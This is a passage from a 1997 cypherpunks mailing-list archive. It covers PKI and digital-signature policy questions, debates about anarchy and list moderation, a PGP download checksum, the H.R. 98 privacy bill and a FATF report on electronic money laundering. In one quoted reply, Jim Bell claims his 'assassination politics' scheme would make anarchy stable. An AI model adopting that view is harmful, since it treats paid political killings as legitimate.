they further argue that by precluding other technologies future
innovations will be discouraged.  They also note that public key
cryptography can only be implemented using patents owned by a limited
number of commercial entities, and question whether it is wise public
policy to legislatively tie electronic commerce so closely to the
interests of a few private sector actors.

5.	Should legislation endorse the X.509 paradigm?

	When the Utah Act was enacted, it explicitly endorsed the X.509
infrastructure model. Subsequent laws have dropped the explicit
endorsement of X.509, but nonetheless remain true to the X.509 paradigm.
 Under most digital signature legislation, certificates serve to bind an
individual's *identity* to a particular public key.  This binding is
accomplished in the context of a rigid, hierarchical CA infrastructure. 
This model has been criticized for two main reasons: global CA
hierarchies are almost certainly unworkable, and identity certificates
often provide too much information -- frequently an "attribute" or
"authority" certificate will do.  Alternative certificate formats, such
as SDSI and SPKI, have emerged in response to these and other perceived
flaws with the X.509 model.  However, it is not clear that these
alternative certificate formats can be accommodated under current
digital signature legislation.

6.	How should liability and risk be allocated in a PKI?

	Liability allocation promises to be a vexing problem in a PKI.
The liability issue is most dramatic in the context of fraud.  An
impostor can obtain the private encryption key associated with a
particular party and create electronic documents purporting to be from
that party.  A second party may enter into an electronic contract
relying on these ostensibly valid documents, and a loss may occur.  Who
should bear this loss? In the paper world, generally one cannot be bound
by a fraudulent signature.  This principle may not be entirely
appropriate in an electronic context, however.  In a PKI, the integrity
of the infrastructure depends upon the security of private encryption
keys.  If a key holder bears no liability for fraudulent use of that
private key, perhaps he or she  may not have adequate incentive to keep
the private key secure.

	How much liability should the private key holder bear?  Under
the Utah Act and its progeny, an individual who negligently loses
control of their private key will bear unlimited liability. This risk
allocation scheme raises the specter of consumers facing immense losses
-- as one commentator puts it: "Grandma chooses a poor password and
loses her house."  In contrast, consumer liability for negligent
disclosure of a credit card number is generally limited to $50.  If
consumer liability were similarly limited in a PKI, where would the risk
of loss fall?  If CAs had to act as an insurer in all transactions, the
price of certificates would likely be extraordinarily high.  If relying
third parties faced the risk that ostensibly valid documents may in fact
be forgeries and bear any resulting loss, then some benefits of a PKI
are lost. 

7.	What mechanisms should be used to allocate risk?

	Currently at least one commercial certification authority,
VeriSign,  is attempting to allocate risk to both certificate subjects
and relying third parties by contract.  VeriSign includes significant
warranty disclaimers, liability limitations, and indemnification
provisions in its Certification Practices Statement (CPS).  Certificate
applicants agree to be bound by the CPS when obtaining a certificate. 
VeriSign's web page informs relying third parties that the act of
verifying a certificate or checking a certificate revocation list
indicates agreement to the terms of the CPS.  However, it is not clear
that a binding contract can be formed with relying third parties in this
fashion.  Thus the relationship between VeriSign and relying parties may
not be governed by the CPS at all, but instead be subject to default
contract and tort rules (which would be less favorable to VeriSign). As
a policy matter, should CAs be able to form contracts with relying third
parties, despite their rather attenuated connection?  If relying parties
will be bound by unilateral contracts imposed by CAs, they face
significant transaction costs involved with determining the contract
terms offered by potentially numerous CAs.  If CAs cannot scale their
potential liability exposure to third parties by contract, however, it
may be impossible for CAs to compete on warranty terms -- and presumably
such terms would otherwise be the subject of significant competition.

8.	Should digitally-signed documents be considered "writings" for
all legal purposes?

	The Utah Act and most other digital signature laws provide that
digitally signed documents have the same legal effect as writings. 
Critics have noted that while most of the functions or goals of writing
requirements may be served by electronic documents, this may not be true
in all instances.  For example, the law often requires a written
instrument to effect notice -- i.e., to alert an individual that a lien
has been filed on their property.  It is not clear that a digitally
signed electronic message would achieve the same effect.  Additionally,
there are other contexts -- such as wills or adoption papers -- where
paper documents may prove more effective than electronic documents. 
Moreover some paper documents (such as bank drafts or warehouse
receipts) are negotiable instruments, and this negotiable character
depends upon the existence of a single, irreproducible copy of the
document.  Thus, critics say, digital signature legislation should not
override all writing requirements without separately considering the
extent to which sound policy might require retention in specific
circumstances.

9.	How much evidentiary weight should a digitally-signed document
carry?

	Evidentiary  issues, though seemingly arcane and procedural, can
raise important public policy concerns.  For example, the Utah Act
creates a presumption that the person who owns a particular key pair
used to sign a document in fact did sign the document.  Holding an
individual presumptively bound by obligations entered into under their
digital signature could be inequitable if the individual is the victim
of the fraudulent use of such a signature.  This potential problem can
be compounded by the evidentiary weight assigned to digitally-signed
documents.  Under the Utah Act digitally-signed documents are accorded
the same evidentiary weight as notarized documents, and someone
challenging the authenticity of such a document can overcome the
presumption of authenticity only with "clear and convincing evidence"
(in contrast, one can overcome the presumption of validity of a paper
signature simply by denying that it is one's signature).  Critics of the
Utah Act's approach argue that providing digitally-signed documents with
this status creates unreasonable evidentiary burdens for victims of
fraud challenging the validity of electronic documents signed with the
victim's private key.

10.	Should governments act as CAs?

	Much of the currently enacted digital signature legislation
envisions state government agencies acting as "top level" certification
authorities who in turn certify a second tier of private sector CAs.  At
the federal level, the U.S. Postal Service has declared its intention to
act as a CA on a nationwide basis.  Should governments be acting in this
sort of role?  Critics say no, arguing that government involvement will
skew an emerging private sector CA marketplace.  Government actors may
face very different liability rules than private sector market
participants -- governments can choose to scale their potential
liability exposure through the doctrine of sovereign immunity. Thus,
critics argue, government CAs may "win" in the marketplace not because
they are more efficient or provide better service, but rather because
they can stack the rules in their favor. Proponents of government
involvement argue that governments can play an important role precisely
because they can create sensible ground rules for all PKI participants. 
Additionally, they note that governments have existing relationships
with all of their citizens, making the process of identification and
public key binding that much easier.

----------------------------------------------------------------------------
--------------

* Brad Biddle is the author of "Misplaced Priorities: The Utah Digital
Signature Act and Liability Allocation in a Public Key Infrastructure,"
which appears in Volume 33 of the San Diego Law Review, and serves as
Vice Chair of the Electronic Commerce Subcommittee of the American Bar
Association's Committee on the Law of Commerce in Cyberspace.  He is a
third-year law student at the University of San Diego and is a law clerk
in Cooley Godward LLP's San Diego office, where he served on the legal
team advising the Internet Law and Policy Forum's Working Group on
Certification Authority Practices.  He can be contacted by phone at
(619) 550-6301 or by e-mail at biddlecb@cooley.com.

_________________________________________________

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Most obscure warning:
If you fork() without ever waiting on your children, you will accumulate
zombies.
-PERLFUNC man page






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Feb 1997 06:56:02 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702061456.GAA24464@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> on or about 970204:2343 jim bell <jimbell@pacifier.com> said:
> +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
> +>    In a "popular" anarchy, Jim Bell's assassination politics make
> +>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

> +I guess I don't understand the distinction you are trying to make,
> +between a  "popular anarchy" and an "anarchy."    Maybe you were trying
> +to distinguish  between "dictatorship of the few (or one)" and
> +"dictatorship of the many (perhaps a  majority)" but it didn't come out
> +very understandably. Put simply, "anarchy is not the lack of order.
> +It is the lack of _orders_."

>     disagree. pure anarchy is not the lack of "orders" --pure anarchy
>     implies that everyone is imbued with that perfect sense of responsibility.

I don't know where these implications come from. Start with a primitive
example, such as animals in the wild.  Is that a perfect anarchy?
Where do the differences come in for humans?  Are they neo-religious
perceptions, which could never find universal agreement?  Or are they
set in stone, in immutable, universal laws?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 5 Feb 1997 21:40:45 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
Message-ID: <199702060540.VAA13750@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Heh. On the ISP-TV show that Brock Meeks and I co-host, two weeks ago we
not only described how easy it was to modify a handheld radio, we had a
guest who demo'd cell-snooping on the air.

-Declan

On Wed, 5 Feb 1997, Bovine Remailer wrote:

> http://www.cnn.com
> 
> Congressman demonstrates
> ease of cell phone snooping
> 
>      
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 6 Feb 1997 07:11:16 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush
Message-ID: <199702061511.HAA24942@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote:

>In the meantime, if you're interested in e$, or financial crypto, or other
>stuff I'm interested ("it don't say e$pam until Bob says it says e$pam"
>:-)), you might want to check it.

I think that Bob's e$ list should be considered a viable alternative to the
other two filtered cpunks lists; I recommend it to people looking for a
moderated alternative to the list. (I get e$, but use Eudora and procmail to
suck out the duplicates where messages are copied from lists I already get.)
He also finds a lot of the stuff that used to show up on cpunks but doesn't
any more because people have wandered away.

I've been meaning to write up a long message explaining why I think I'm about
to drop off of the list. It's peculiar to spend a lot of time discussing
things with a group of people over the course of several years and then
disappear without saying why. But I'm having trouble coming up with anything
more profound than "it's not interesting any more." Philosophically, I agree
with Lucky - it looks to me like it's time to kill the list and move on to
other things. But that's not my choice to make, and perhaps other people can
still extract something useful from this. More power to them if they can.

I'm starting to think that cpunks may be similar to college, in that it's a
good thing for a few years, but if you stick around too long you just get
bitter and cranky and frustrated because the new people keep talking about
the same old problems. Don't they know we've already talked about that? 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvmSHP37pMWUJFlhAQGu3Qf/WTpImfcNb4883V2h/JHKsZh1hWR+hrSH
e7hgtUAujphktzteZi6NqC47QEQHRIbgT/SRHelDB4lJLPv3TtIN09ZUwK6GWb/F
QfmoyPXBVfM5Pt/FqPqtPpXnehC7r71SO0jQ2qKqTrhcuSDYNmOjtCrjK/BIEJ7l
mMYcxY7JKBq0H8u1BNzZaMfCkEvDytUejgsevusWGGfkwodUSTon81Kbxmy7Yg2w
3vOmESgMz2Vm2av2bHTYBy3CSy3JzB8m2OPQo+Wang6WJDfvJaDaALGuHgem8PH8
0jCjBww2vEOJ0xj62oQ/mD2heEe+TZZnDZ5ZRynID1wOOm7SOOOeAg==
=+SRl
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 6 Feb 1997 06:56:06 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702061456.GAA24469@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
> >on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
> >+   Is the desire for an anarchic community at odds with a desire for 
> >+   good use of resources?
> Actually, it is quite possible that an "anarchic community" is _more_ 
> efficient in the use of resources than some sort of organized community.    
> It is explained, for example, that the reason there are so many different 
> kinds of life on earth is that there are so many ecological niches to fill.  

     Good does not necessarily mean efficient, and efficient does not
necessarily mean good. 

    Picture--if you can--the "perfect" centrally planned economy where all
possible market conditions, wants and needs are taken into account. Factories
are placed optimally for access to natural resources and distribution to 
consumers etc. Also assume that the people running this society _are_ intersted
in efficient production methods, and activly look for new and better ways of 
getting things done--benign facism/socialism if you will. This would (assuming 
perfect people, but bear with me) be the _most efficient_ method of producing 
and delivering goods, but it would introduce certain "choke points", one 
natural disaster or war could cripple production of necessary items. 

    Picture anarchy, massively redundant, and resistent to this problem, while
probably not anywhere _near_ as efficient, this "system" would have the ability
to absorb damage and adapt more rapidly to changing enviroments. 

> No, that's traditional thinking and that's wrong.  See AP part 8.  Freud 
> believed (as "everyone" else believed, even myself, before AP) that anarchy 
> was inherently unstable.  But it ISN'T, if the tools of AP are used to 

     Stable is a relative thing. Are things stable now? If you think so, you
either aren't looking very hard, or you are giving "stable" a wide range.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WIZZYH2H@aol.com
Date: Thu, 6 Feb 1997 06:55:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tapping these resources.
Message-ID: <199702061455.GAA24445@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I noticed that there are several programs that will let anyone send encrypted
email.

What about encrypted messages over a chat system like irc, chat rooms(aol,
BBS) and systemwide messages (IM, whisper, private message)?

The server wouldn't have to do anything except send the messages, the users
software could handel all the protocols and message identification.  Dialup
and logon features aren't needed either, allmost all cilents will let you
shell.

I have been looking for, and tring to write a program to do this, but Im a
rookie programmer and my attempts have yet to produce a functional
send/receive utility.

Where are programs like this.. are there any to be found? 

wizzyh2h@aol.com   OR     wizzy@juno.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 11 Feb 1997 07:00:11 -0800 (PST)
To: phr@netcom.com
Subject: Re: sci.crypt archive?
Message-ID: <199702111500.HAA20737@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Rubin <phr@netcom.com> writes:
> Is anyone on cypherpunks archiving sci.crypt?  I'd be interested
> in getting hold of some articles from some years back... thanks

There is some one who archives it, it's up for ftp.  Look in the
sci.crypt FAQ, or do a web search to find the URL.  I grabbed a copy
for Remo Pini for the crypto CD, but I've lost the URL.

The Crypto CD (I have one) has Jan 92 to Sep 94 (articles 6871 to
32742) on it.  See http://www.rpini.com/ if you're interested.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Feb 1997 07:55:51 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush
Message-ID: <199702061555.HAA25512@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote:

> I've been meaning to write up a long message explaining why I think I'm about
> to drop off of the list. It's peculiar to spend a lot of time discussing
> things with a group of people over the course of several years and then
> disappear without saying why. But I'm having trouble coming up with anything
> more profound than "it's not interesting any more." Philosophically, I agree
> with Lucky - it looks to me like it's time to kill the list and move on to
> other things. But that's not my choice to make, and perhaps other people can
> still extract something useful from this. More power to them if they can.
> I'm starting to think that cpunks may be similar to college, in that it's a
> good thing for a few years, but if you stick around too long you just get
> bitter and cranky and frustrated because the new people keep talking about
> the same old problems. Don't they know we've already talked about that?

But college continues because it wasn't designed for just one group
of people of one time period.  It was designed for everyone, and to
evolve to meet future need. If the c-punks list were to survive, it
too would have to evolve to meet future needs, and that evolution
would be sure to disappoint a lot of the older crowd.

The big difference here is that college is far from cutting edge in
anything, and the list is (or could be) cutting edge.  But nearly
everyone so far has acknowledged that, despite improvement in signal-
to-noise on the moderated list, the factor of external control has
also removed much of what was interesting.  Remove the control and
incorporate the best of the suggestions that have been made so far,
and some of that interest may return.  Perhaps more importantly, if
the principals could see their way to mend some fences along the way,
that would restore even more confidence in the list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl4.crl.com>
Date: Thu, 6 Feb 1997 07:55:46 -0800 (PST)
To: Ben <ben@EdelWeb.fr>
Subject: Re: About: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702061555.HAA25504@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Ben wrote:

> > > > User of the list, has no place to talk. His type, to me,
> > > > Characterate those who quit something and complain later,
> > > > Knowing that some people will listen to them.
> > > >
> > > > So what, if he decided to leave? It was his own choice
> > > > And he can't just come back and say everyone who stayed is
> > > > Now impelled to listen to him, just because he used to
> > > > Do a bunch of posts. I don't think that hardly any of
> > > > You would listened to me later if I left the list.
> > 
> >  I write good englich, but I write it verticaly, not horizontaly.
> > Try reading the above up-to-down, just the first letters of
> > each line.
> >  It may be kindegarten crypto, but it made it onto the censored
> > list.

Touche!  


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Thu, 6 Feb 1997 08:10:45 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: [RRE FWD] PKI: 10 Public Policy Questions
Message-ID: <199702061610.IAA25713@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For a more, um, nuanced view see
http://www.law.miami.edu/~froomkin/articles/trusted.htm

==
The above may have been dictated via Dragon Dictate 2.51 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 6 Feb 1997 11:15:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: NOW_ire
Message-ID: <199702061915.LAA28279@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-5-97:

"FCC Bandwidth Forum Panelist Says Wireless Is Potential
'Wild Card' in Planning for Future Broadband Access"

   Suggests that wireless is the better than wire, cable, or satellite
   for future communications by bypassing their technological and 
   environmental limitations.

"GTE Wireless Launches Long-Anticipated CS-CDPD Service; Other
Cellular Carriers Continue to Reject Hybrid Approach"

   A variation from CDMA and TDMA.

-----

NOW_ire

And the FCC Broadband Forum report cited in the first article at:

   http://jya.com/fcc970123.htm  (322K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Thu, 6 Feb 1997 07:10:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: pgpmail 4.5
Message-ID: <199702061510.HAA24879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer sez:

: you wrote:

: There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
: The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.

: i downloaded the same.  md5 5ea438501d0133f0849c2fe8f9125b6b
: can someone clear this up?

[usura@basement]:/pub/ftp/pub/crypto/incoming {22}$ md5 pgpmail45.exe
5ea438501d0133f0849c2fe8f9125b6b pgpmail45.exe 

--
-AJ-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 6 Feb 1997 11:21:17 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702061921.LAA28329@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



	I'd just appreciate it if someone would explain to me just why
I'm being completely censored from the cypherpunks list.  I accept
that I have no right to be carried by toad.com, but I'd appreciate the
courtesy of at least a response to my request for an explanation.
Absolutely none of my recent postings are even going to
cypherpunks-unedited, I've received no response to my mail to
gnu@toad.com asking why, and I've received absolutely no bounces
indicating that there are delivery problems.  Given that my subscribe
requests for cypherpunks-unedited and cypherpunks-flames succeeded, I
think I can discount delivery problems, so I have to wonder - how many
other people are being completely blocked from any of the cypherpunks
lists hosted on toad.com?

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <ray@earthweb.com>
Date: Thu, 6 Feb 1997 11:15:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: True story, Fly the Obsfucted Skies (fwd)
Message-ID: <199702061915.LAA28280@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


---------- Forwarded message ----------
Date: Thu, 6 Feb 1997 00:18:18 -0500
From: Salvatore Denaro <sal@panix.com>
To: 'Ray Arachelian' <ray@earthweb.com>
Subject: True story, Fly the Obsfucted Skies

I was at the airport, checking in at the gate. An airport employee
asked me (and I quote)

 "Has anyone put anything in your baggage without your knowledge?"

I thought about it. I scratched my goatee. I said:

 "If it was without *my* knowledge... how would *I* know about it?"

He smiled. He nodded his head, knowingly. He then gave me this cryptic
reply,

 "That's why we ask."

-- 
Salvatore Denaro     "The only difference between me and a madman
sal@panix.com         is that I am not mad." -- Salvador Dali






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Lehmann (SSASyd) <LEHMANNJ@saatchi.com.au>
Date: Wed, 5 Feb 1997 17:38:50 -0800 (PST)
To: "'cypher-punks'" <cypherpunks@toad.com>
Subject: British export restrictions?
Message-ID: <199702060138.RAA08849@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Anyone know how the British govt. falls on crypto export legislation?

 --
John Lehmann






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 11:22:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702061922.LAA28377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This attempted legislation (see forward, below) is a blessing in disguise.

It's just more proof that book-entry commerce isn't going to work on the
net in the long run.

SET looks like it's having problems with Japanese commerce rules, which is
another example of this problem.

Cash settlement between blinded pseudonyms fixes all of these problems.

I like to joke that if digital commerce is flight, then book entry
settlement is Boyle's Law, and cryptography is Bernoulli's law, viz,

+  Sending a credit card in the clear is jumping off a cliff. The height of
the cliff you jump off is related to the number of times you send an
unencrypted credit card number and the amount you charge.  Credit card
companies aren't going to be guaranteeing all those trades much longer if
they lose too much money.

+  First Virtual is a tethered balloon. You're up in the air, but you don't
know what for, because all the action is happening on the ground. ;-).

+  SET, Cybercash/coin, SSL, and other encrypted-channel book entry
methods, is a derigeble. You're flying, but you're using minimally strong
crypto like little aerodynamic fins to push the giant gas bag of book-entry
settlement around.

+  Digital bearer certificate technology, like ecash, or MicroMint, or
Millicent, is an airplane. It "flys" with "wings" of strong cryptography,
which gives us reputation capital and enforcement, and instantly settled
microintermediated transactions. Thus, like aerodynamic flight, it will be
faster, cheaper, and easier to use than book-entry "derigible" transaction
methods.


Cheers,
Bob Hettinga



--- begin forwarded text


Date:         Thu, 6 Feb 1997 11:24:09 EST
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Jonathan I. Ezor" <jezor@NEWMEDIALAW.COM>
Subject:      Congressional Bill worse for 'Net than CDA? (crosspost)
Comments: To: wwwac@echonyc.com, noend@laguna.taos.com, isales@mmgco.com,
          imarcom@internet.com
To:           CYBERIA-L@LISTSERV.AOL.COM

Sorry for the crossposting, but I felt this one might be important enough
to do it.  The following is a shortened version of an article I've written
for my firm's client newsletter about H.R. 98, the "Consumer Internet
Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on
January 7, 1997.  As the article describes, if the bill were enacted as
drafted, Internet commerce could conceivably be stopped dead in its tracks,
along with most of the reduced-fee-for-demographics online services.
Privacy is quite important, and many of us have worked and are working
extremely hard to protect privacy appropriately while still providing
convenient services to users, but this bill is way beyond a reasonable
approach.  I haven't seen much discussion about this bill, but it's now in
committee, and the time to act may be upon us.  Feel free to
e-mail/call/fax/talk to me with any further questions.  I look forward to
your feedback.  {Jonathan}

Jonathan I. Ezor
New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019
Tel: 212-468-4989   Fax: 212-468-4888   E-mail: jezor@newmedialaw.com


-----------------------------Cut here-------------------------------

Congress Tackles Internet Privacy


        Recently, there has been significant press coverage over real and
rumored revelations of personal information such as Social Security numbers by
online services, including the alleged availability (later shown to be untrue)
of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database,
and various governmental bodies have held hearings on issues of online privacy.
On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the
"Consumer Internet Privacy Protection Act of 1997," (H.R. 98)  This bill
provides that "an interactive computer service shall not disclose to a third
party any personally identifiable information provided by a subscriber to such
service without the subscriber's prior informed written consent."  It requires
online services to provide an express opt-out for subscribers at any time,
prohibits services from knowingly distributing false information about users,
and also mandates giving subscribers access to the information maintained about
them for review, updates and corrections, as well as the identity of the party
receiving the information, at no charge.  The bill authorizes the Federal Trade
Commission to "to examine and investigate an interactive computer service to
determine whether such service has been or is engaged in any act or practice
prohibited by this Act," and to issue a cease and desist order.  Notably, it
also provides that an individual may sue the violator directly without
having to
go through the FTC.

        As a general matter, this bill enacts the practice of many online
services and sites, and the position of most self-regulatory industry
groups, by
asking consent before revealing personally-identifiable information.  But the
bill goes well beyond the ordinary industry practice by requiring "prior
informed written consent," which is defined in this bill as "a statement--

                (A) in writing and freely signed by a subscriber;

                (B) consenting to the disclosures such service will make of the
information provided; and

                (C) describing the rights of the subscriber under this Act."

What this could conceivably mean is that services which have all of their
registration online may be unable to fulfill this requirement.

        Additionally, the bill is unclear about which online services will be
subject to its provisions.  It defines "interactive computer service" as "any
information service that provides computer access to multiple users via
modem to
the Internet."  This certainly covers dedicated Internet service providers
(ISP's) and combination proprietary/Internet services like America Online and
MSN.  The bill may also cover services which depend on their ability to reveal
certain information to advertisers in exchange for offering free Internet
e-mail
to their users.  Beyond that, purely Web-based services may fall into the
purview of this bill, depending on whether providing access via modem requires
that the modem dial directly into the service in question or not.

        Theoretically, this bill could even prevent online purchases absent a
signed authorization form from each purchaser, because a service would have to
reveal the name and address of the purchaser to the seller in order for the
goods to be delivered.  Even more troubling, the bill does not even provide an
exception for information shared between a service owner and the company owning
the computer hosting the service, regardless of whether there is a contractual
obligation for confidentiality, since the hosting company has access to the
information collected by the service about its users.

        As with other bills of this type, it is important for any company
intending to offer Internet-related services to individuals to follow and
perhaps attempt to affect the path of the Consumer Internet Privacy Protection
Act of 1997, since it could have significant impact on planned services,
revenue
sources and per-subscriber costs.  For those interested in forestalling this
type of governmental action, the best response may be to accelerate
self-regulatory initiatives to deal with the valid concerns of consumers
who may
be providing information about themselves and their buying habits, either
in the
process of registration or while using the service.  At the same time, the
self-regulatory bodies can create rules based on the actual business practices
and realities of their members, rather than drafting with a broad brush as
Congress does in so many instances.  If companies are going to be able to take
the greatest economic advantage of the interactivity of the Internet as opposed
to traditional broadcast and print media, there needs to be some way of legally
and ethically utilizing information provided by subscribers in order both to
enhance the subscribers' experience and to gain revenue through appropriate
business relationships with advertisers, retailers, and others who may wish
access to consumers.

Copyright 1997 Jonathan I. Ezor, Davis & Gilbert.  All rights reserved.

Jonathan I. Ezor is an attorney with Davis & Gilbert in New York City,
practicing new media and computer law, focusing on the advertising
industry.  Mr. Ezor can be reached at jezor@newmedialaw.com.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Thu, 6 Feb 1997 11:22:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: FinCEN hates cybercash, who 'da thunk it...
Message-ID: <199702061922.LAA28357@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Big brother, Morris, at FinCEN sees a criminal behind every cyber
dollar.  The sky is falling, the sky is falling, it's raining cyber
cash!

Artilce follows :)
******************

=09=09_G7 groups frets over electronic money laundering_

Copyright =A9 1997 Nando.net
Copyright =A9 1997 Agence France-Presse=20

PARIS (Feb 6, 1997 11:30 a.m. EST) - Money-laundering fighters from key
industrial countries and leading
Asian financial centers are looking into ways of countering use of the
Internet and "smart cards" to clear
proceeds from criminal activities, officials said Thursday.

The Financial Action Task Force (FATF), set up following a Group of
Seven initiative at their l989 summit, called
in a lengthy report for closer cooperation and coordinated efforts to
fight money laundering, especially in
regard to new electronic payments technologies.

The report noted that these technologies were still "in their infancy"
and said it was "premature to consider
prescriptive solutions to theoretical problems."

But Stanley Morris of the United States Treasury, who chaired a FAFT
working group which drafted the report,
told a news conference that law enforcement agencies would face 'very
major new challenges' if new
technology moves the world "to a cashless society, beyond banks, cash
and borders."

He said the group's meeting, held in Paris last November, was the first
time an international organization has
examined "the implications of e-money - electronic money - or cyber
payments."

The group had for the first time examined "not only criminal activity as
we see it" at present, but "what kind of
crominal activites might occur as we approach the new payments
technologies relying on the revolution in
microchips and .. changes in payments services generally."

Morris, who heads the U.S. Treasury's Financial Crimes Enforcement
Network (FinCEN), said cash had
become "a significant problem" for criminal groups, which find it
increasingly difficult to channel their criminal
proceeds into the banking system, at least in FATF countries.

"We find a clear move away from direct dealing with banks to non-bank
institutions, including bureaux de
change money order sellers, and even professional services like lawyers
and accountants," he said.

The group had also seen "the realities of economic globalization," he
said, adding that financial activities are
